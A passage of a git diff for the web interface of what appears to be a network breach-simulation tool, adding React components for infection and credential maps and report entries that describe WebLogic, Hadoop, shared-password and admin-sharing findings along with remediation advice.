this.authFetch('/api/log?id=' + asset.id) + .then(res => res.json()) + .then(res => { + let timestamp = res['timestamp']; + timestamp = timestamp.substr(0, timestamp.indexOf('.')); + let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; + let logContent = this.unescapeLog(res['log']); + download(logContent, filename, 'text/plain'); + }); + + } + + downloadLogRow(asset) { + return ( + + + Download Log + + + this.downloadLog(asset)}>Download + + + ); + } + + exploitsTimeline(asset) { + if (asset.exploits.length === 0) { + return (
); + } + + return ( +
+

+ Exploit Timeline  + {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} +

+
    + {asset.exploits.map(exploit => +
  • +
    +
    {new Date(exploit.timestamp).toLocaleString()}
    +
    {exploit.origin}
    +
    {exploit.exploiter}
    +
  • + )} +
+
+ ) + } + + assetInfo(asset) { + return ( +
+ + + {this.osRow(asset)} + {this.ipsRow(asset)} + {this.servicesRow(asset)} + {this.accessibleRow(asset)} + +
+ {this.exploitsTimeline(asset)} +
+ ); + } + + infectedAssetInfo(asset) { + return ( +
+ + + {this.osRow(asset)} + {this.statusRow(asset)} + {this.ipsRow(asset)} + {this.servicesRow(asset)} + {this.accessibleRow(asset)} + {this.forceKillRow(asset)} + {this.downloadLogRow(asset)} + +
+ {this.exploitsTimeline(asset)} +
+ ); + } + + scanInfo(edge) { + return ( +
+ + + + + + + + + + + + + + + +
Operating System{edge.os.type}
IP Address{edge.ip_address}
Services{edge.services.map(val =>
{val}
)}
+ { + (edge.exploits.length === 0) ? + '' : +
+

Timeline

+
    + {edge.exploits.map(exploit => +
  • +
    +
    {new Date(exploit.timestamp).toLocaleString()}
    +
    {exploit.origin}
    +
    {exploit.exploiter}
    +
  • + )} +
+
+ } +
+ ); + } + + islandEdgeInfo() { + return ( +
+
+ ); + } + + getInfoByProps() { + switch (this.props.type) { + case 'edge': + return this.scanInfo(this.props.item); + case 'node': + return this.props.item.group.includes('monkey', 'manual') ? + this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); + case 'island_edge': + return this.islandEdgeInfo(); + } + + return null; + } +} + +export default InfMapPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js similarity index 100% rename from monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js rename to monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js new file mode 100644 index 000000000..f9a5ae1bb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js @@ -0,0 +1,63 @@ +import React from 'react'; +import {Icon} from 'react-fa'; +import Toggle from 'react-toggle'; +import {OverlayTrigger, Tooltip} from 'react-bootstrap'; +import download from 'downloadjs' +import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; + +class PthPreviewPaneComponent extends PreviewPaneComponent { + nodeInfo(asset) { + return ( +
+ + + + + + + + + + + + + + + + + + + +
Hostname{asset.hostname}
IP Addresses{asset.ips.map(val =>
{val}
)}
Services{asset.services.map(val =>
{val}
)}
Compromised Users{asset.users.map(val =>
{val}
)}
+
+ ); + } + + edgeInfo(edge) { + return ( +
+ + + + + + + +
Compromised Users{edge.users.map(val =>
{val}
)}
+
+ ); + } + + getInfoByProps() { + switch (this.props.type) { + case 'edge': + return this.edgeInfo(this.props.item); + case 'node': + return this.nodeInfo(this.props.item); + } + + return null; + } +} + +export default PthPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js similarity index 93% rename from monkey_island/cc/ui/src/components/pages/ConfigurePage.js rename to monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index afa42d6e7..a97447df0 100644 --- a/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent { headers: {'Content-Type': 'application/json'}, body: JSON.stringify(this.state.configuration) }) + .then(res => { + if (!res.ok) + { + throw Error() + } + return res; + }) .then(res => res.json()) .then(res => { this.setState({ @@ -58,6 +65,9 @@ class ConfigurePageComponent extends AuthComponent { configuration: res.configuration }); this.props.onStatusChange(); + }).catch(error => { + console.log('bad configuration'); + this.setState({lastAction: 'invalid_configuration'}); }); }; @@ -217,6 +227,12 @@ class ConfigurePageComponent extends AuthComponent { Failed importing configuration. Invalid config file.
: ''} + { this.state.lastAction === 'invalid_configuration' ? +
+ + An invalid configuration file was imported and submitted, probably outdated. +
+ : ''} { this.state.lastAction === 'import_success' ?
diff --git a/monkey_island/cc/ui/src/components/pages/LicensePage.js b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/LicensePage.js rename to monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js diff --git a/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/LoginPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js similarity index 96% rename from monkey_island/cc/ui/src/components/pages/MapPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index 7720a781d..4d074c835 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -2,7 +2,7 @@ import React from 'react'; import {Col, Modal} from 'react-bootstrap'; import {Link} from 'react-router-dom'; import {Icon} from 'react-fa'; -import PreviewPane from 'components/map/preview-pane/PreviewPane'; +import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {options, edgeGroupToColor} from 'components/map/MapOptions'; import AuthComponent from '../AuthComponent'; @@ -27,7 +27,7 @@ class MapPageComponent extends AuthComponent { componentDidMount() { this.updateMapFromServer(); - this.interval = setInterval(this.timedEvents, 1000); + this.interval = setInterval(this.timedEvents, 5000); } componentWillUnmount() { @@ -186,7 +186,7 @@ class MapPageComponent extends AuthComponent {
: ''} - + ); diff --git a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js new file mode 100644 index 000000000..20faafca7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -0,0 +1,58 @@ +import React from 'react'; +import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; +import AuthComponent from '../AuthComponent'; +import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions'; +import PreviewPane from "../map/preview-pane/PreviewPane"; +import {Col} from "react-bootstrap"; +import {Link} from 'react-router-dom'; +import {Icon} from 'react-fa'; +import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane"; + +class PassTheHashMapPageComponent extends AuthComponent { + constructor(props) { + super(props); + this.state = { + graph: props.graph, + selected: null, + selectedType: null + }; + } + + events = { + select: event => this.selectionChanged(event) + }; + + selectionChanged(event) { + if (event.nodes.length === 1) { + let displayedNode = this.state.graph.nodes.find( + function (node) { + return node['id'] === event.nodes[0]; + }); + this.setState({selected: displayedNode, selectedType: 'node'}) + } + else if (event.edges.length === 1) { + let displayedEdge = this.state.graph.edges.find( + function (edge) { + return edge['id'] === event.edges[0]; + }); + this.setState({selected: displayedEdge, selectedType: 'edge'}); + } + else { + this.setState({selected: null, selectedType: null}); + } + } + + render() { + return ( +
+ +
+ +
+ +
+ ); + } +} + +export default PassTheHashMapPageComponent; diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js similarity index 78% rename from monkey_island/cc/ui/src/components/pages/ReportPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 5bc50cf90..f88df4831 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -8,6 +8,8 @@ import StolenPasswords from 'components/report-components/StolenPasswords'; import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; +import PassTheHashMapPageComponent from "./PassTheHashMapPage"; +import StrongUsers from "components/report-components/StrongUsers"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let monkeyLogoImage = require('../../images/monkey-icon.svg'); @@ -24,13 +26,19 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + WEBLOGIC: 9, + HADOOP: 10, + PTH_CRIT_SERVICES_ACCESS: 11 }; Warning = { CROSS_SEGMENT: 0, - TUNNEL: 1 + TUNNEL: 1, + SHARED_LOCAL_ADMIN: 2, + SHARED_PASSWORDS: 3, + SHARED_PASSWORDS_DOMAIN: 4 }; constructor(props) { @@ -46,7 +54,6 @@ class ReportPageComponent extends AuthComponent { componentDidMount() { this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); this.updateMapFromServer(); - this.interval = setInterval(this.updateMapFromServer, 1000); } componentWillUnmount() { @@ -326,6 +333,14 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Oracle WebLogic servers are vulnerable to remote code execution. ( + CVE-2017-10271)
  • : null } + {this.state.report.overview.issues[this.Issue.HADOOP] ? +
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } + {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? +
  • Mimikatz found login credentials of a user who has admin access to a server defined as critical.
  • : null } : @@ -351,6 +366,10 @@ class ReportPageComponent extends AuthComponent { communicate. : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} + {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? +
  • Shared local administrator account - Different machines have the same account as a local administrator.
  • : null} + {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? +
  • Multiple users have the same password
  • : null} : @@ -359,6 +378,21 @@ class ReportPageComponent extends AuthComponent { } + { this.state.report.overview.cross_segment_issues.length > 0 ? +
    +

    + Segmentation Issues +

    +
    + The Monkey uncovered the following set of segmentation issues: +
      + {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))} +
    +
    +
    + : + '' + } ); } @@ -367,11 +401,18 @@ class ReportPageComponent extends AuthComponent { return (

    - Recommendations + Domain related recommendations +

    +
    + {this.generateIssues(this.state.report.recommendations.domain_issues)} +
    +

    + Machine related Recommendations

    {this.generateIssues(this.state.report.recommendations.issues)}
    +
    ); } @@ -420,9 +461,36 @@ class ReportPageComponent extends AuthComponent {
    -
    +
    + {this.generateReportPthMap()} +
    +
    +
    + +
    +
    + ); + } + + generateReportPthMap() { + return ( +
    +

    + Credentials Map +

    +

    + This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers. +

    +
    + Legend: + Access credentials | +
    +
    + +
    +
    ); } @@ -442,6 +510,27 @@ class ReportPageComponent extends AuthComponent { return data_array.map(badge_data => {badge_data}); } + generateCrossSegmentIssue(crossSegmentIssue) { + return
  • + {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']} + +
      + {crossSegmentIssue['issues'].map(x => + x['is_self'] ? +
    • + {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']} +
    • + : +
    • + {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] + + ' using the services: ' + Object.keys(x['services']).join(', ')} +
    • + )} +
    +
    +
  • ; + } + generateShellshockPathListBadges(paths) { return paths.map(path => {path}); } @@ -647,7 +736,7 @@ class ReportPageComponent extends AuthComponent { ); } - generateCrossSegmentIssue(issue) { + generateIslandCrossSegmentIssue(issue) { return (
  • Segment your network and make sure there is no communication between machines from different segments. @@ -662,6 +751,57 @@ class ReportPageComponent extends AuthComponent { ); } + generateSharedCredsDomainIssue(issue) { + return ( +
  • + Some domain users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + +
  • + ); + } + + generateSharedCredsIssue(issue) { + return ( +
  • + Some users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + +
  • + ); + } + + generateSharedLocalAdminsIssue(issue) { + return ( +
  • + Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing. + + Here is a list of machines which the account {issue.username} is defined as an administrator: + {this.generateInfoBadges(issue.shared_machines)} + +
  • + ); + } + + generateStrongUsersOnCritIssue(issue) { + return ( +
  • + This critical machine is open to attacks via strong users with access to it. + + The services: {this.generateInfoBadges(issue.services)} have been found on the machine + thus classifying it as a critical machine. + These users has access to it: + {this.generateInfoBadges(issue.threatening_users)}. + +
  • + ); + } + generateTunnelIssue(issue) { return (
  • @@ -693,6 +833,40 @@ class ReportPageComponent extends AuthComponent { ); } + generateWebLogicIssue(issue) { + return ( +
  • + Install Oracle + critical patch updates. Or change server version. Vulnerable versions are + 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware + (subcomponent: WLS Security). +
    +
  • + ); + } + + generateHadoopIssue(issue) { + return ( +
  • + Run Hadoop in secure mode ( + add Kerberos authentication). + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to default Hadoop/Yarn configuration being insecure. +
    +
  • + ); + } + generateIssue = (issue) => { @@ -731,8 +905,20 @@ class ReportPageComponent extends AuthComponent { case 'conficker': data = this.generateConfickerIssue(issue); break; - case 'cross_segment': - data = this.generateCrossSegmentIssue(issue); + case 'island_cross_segment': + data = this.generateIslandCrossSegmentIssue(issue); + break; + case 'shared_passwords': + data = this.generateSharedCredsIssue(issue); + break; + case 'shared_passwords_domain': + data = this.generateSharedCredsDomainIssue(issue); + break; + case 'shared_admins_domain': + data = this.generateSharedLocalAdminsIssue(issue); + break; + case 'strong_users_on_crit': + data = this.generateStrongUsersOnCritIssue(issue); break; case 'tunnel': data = this.generateTunnelIssue(issue); @@ -743,6 +929,12 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'weblogic': + data = this.generateWebLogicIssue(issue); + break; + case 'hadoop': + data = this.generateHadoopIssue(issue); + break; } return data; }; diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js diff --git a/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/RunServerPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js diff --git a/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/StartOverPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/TelemetryPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js diff --git a/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js similarity index 100% rename from monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js rename to monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js diff --git a/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js similarity index 90% rename from monkey_island/cc/ui/src/components/report-components/BreachedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index d8c91f5ca..d23a14c38 100644 --- a/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -2,10 +2,7 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { - if (val.length === 0) { - return ''; - } - return val.reduce((total, new_str) => total + ', ' + new_str); + return
    {val.map(x =>
    {x}
    )}
    ; }; const columns = [ diff --git a/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js rename to monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js diff --git a/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js similarity index 91% rename from monkey_island/cc/ui/src/components/report-components/ScannedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js index b598ab537..9b62bbdc5 100644 --- a/monkey_island/cc/ui/src/components/report-components/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js @@ -2,10 +2,7 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { - if (val.length === 0) { - return ''; - } - return val.reduce((total, new_str) => total + ', ' + new_str); + return
    {val.map(x =>
    {x}
    )}
    ; }; const columns = [ diff --git a/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/StolenPasswords.js rename to monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js new file mode 100644 index 000000000..a8f045479 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js @@ -0,0 +1,43 @@ +import React from 'react'; +import ReactTable from 'react-table' + +let renderArray = function(val) { + console.log(val); + return
    {val.map(x =>
    {x}
    )}
    ; +}; + +const columns = [ + { + Header: 'Powerful Users', + columns: [ + { Header: 'Username', accessor: 'username'}, + { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, + { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} + ] + } +]; + +const pageSize = 10; + +class StrongUsersComponent extends React.Component { + constructor(props) { + super(props); + } + + render() { + let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; + let showPagination = this.props.data.length > pageSize; + return ( +
    + +
    + ); + } +} + +export default StrongUsersComponent; diff --git a/monkey_island/cc/ui/src/config/README.md b/monkey/monkey_island/cc/ui/src/config/README.md similarity index 100% rename from monkey_island/cc/ui/src/config/README.md rename to monkey/monkey_island/cc/ui/src/config/README.md diff --git a/monkey_island/cc/ui/src/config/base.js b/monkey/monkey_island/cc/ui/src/config/base.js similarity index 100% rename from monkey_island/cc/ui/src/config/base.js rename to monkey/monkey_island/cc/ui/src/config/base.js diff --git a/monkey_island/cc/ui/src/config/dev.js b/monkey/monkey_island/cc/ui/src/config/dev.js similarity index 100% rename from monkey_island/cc/ui/src/config/dev.js rename to monkey/monkey_island/cc/ui/src/config/dev.js diff --git a/monkey_island/cc/ui/src/config/dist.js b/monkey/monkey_island/cc/ui/src/config/dist.js similarity index 100% rename from monkey_island/cc/ui/src/config/dist.js rename to monkey/monkey_island/cc/ui/src/config/dist.js diff --git a/monkey_island/cc/ui/src/config/test.js b/monkey/monkey_island/cc/ui/src/config/test.js similarity index 100% rename from monkey_island/cc/ui/src/config/test.js rename to monkey/monkey_island/cc/ui/src/config/test.js diff --git a/monkey_island/cc/ui/src/favicon.ico b/monkey/monkey_island/cc/ui/src/favicon.ico similarity index 100% rename from monkey_island/cc/ui/src/favicon.ico rename to monkey/monkey_island/cc/ui/src/favicon.ico diff --git a/monkey_island/cc/ui/src/images/guardicore-logo.png b/monkey/monkey_island/cc/ui/src/images/guardicore-logo.png similarity index 100% rename from monkey_island/cc/ui/src/images/guardicore-logo.png rename to monkey/monkey_island/cc/ui/src/images/guardicore-logo.png diff --git a/monkey_island/cc/ui/src/images/infection-monkey.svg b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg similarity index 100% rename from monkey_island/cc/ui/src/images/infection-monkey.svg rename to monkey/monkey_island/cc/ui/src/images/infection-monkey.svg diff --git a/monkey_island/cc/ui/src/images/monkey-icon.svg b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg similarity index 100% rename from monkey_island/cc/ui/src/images/monkey-icon.svg rename to monkey/monkey_island/cc/ui/src/images/monkey-icon.svg diff --git a/monkey_island/cc/ui/src/images/nodes/clean_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/clean_unknown.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_unknown.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png diff --git a/monkey_island/cc/ui/src/images/nodes/clean_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/exploited_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/exploited_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/island.png b/monkey/monkey_island/cc/ui/src/images/nodes/island.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png b/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png new file mode 100644 index 000000000..0348a7f5d Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png differ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png b/monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png new file mode 100644 index 000000000..3b1e9b638 Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png differ diff --git a/monkey_island/cc/ui/src/index.html b/monkey/monkey_island/cc/ui/src/index.html similarity index 100% rename from monkey_island/cc/ui/src/index.html rename to monkey/monkey_island/cc/ui/src/index.html diff --git a/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js similarity index 100% rename from monkey_island/cc/ui/src/index.js rename to monkey/monkey_island/cc/ui/src/index.js diff --git a/monkey_island/cc/ui/src/server_config/AwsConfig.js b/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/AwsConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js diff --git a/monkey_island/cc/ui/src/server_config/BaseConfig.js b/monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/BaseConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js diff --git a/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/ServerConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js diff --git a/monkey_island/cc/ui/src/server_config/StandardConfig.js b/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/StandardConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js diff --git a/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js similarity index 100% rename from monkey_island/cc/ui/src/services/AuthService.js rename to monkey/monkey_island/cc/ui/src/services/AuthService.js diff --git a/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css similarity index 100% rename from monkey_island/cc/ui/src/styles/App.css rename to monkey/monkey_island/cc/ui/src/styles/App.css diff --git a/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js similarity index 100% rename from monkey_island/cc/ui/webpack.config.js rename to monkey/monkey_island/cc/ui/webpack.config.js diff --git a/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py similarity index 100% rename from monkey_island/cc/utils.py rename to monkey/monkey_island/cc/utils.py diff --git a/monkey_island/deb-package/DEBIAN/control b/monkey/monkey_island/deb-package/DEBIAN/control similarity index 100% rename from monkey_island/deb-package/DEBIAN/control rename to 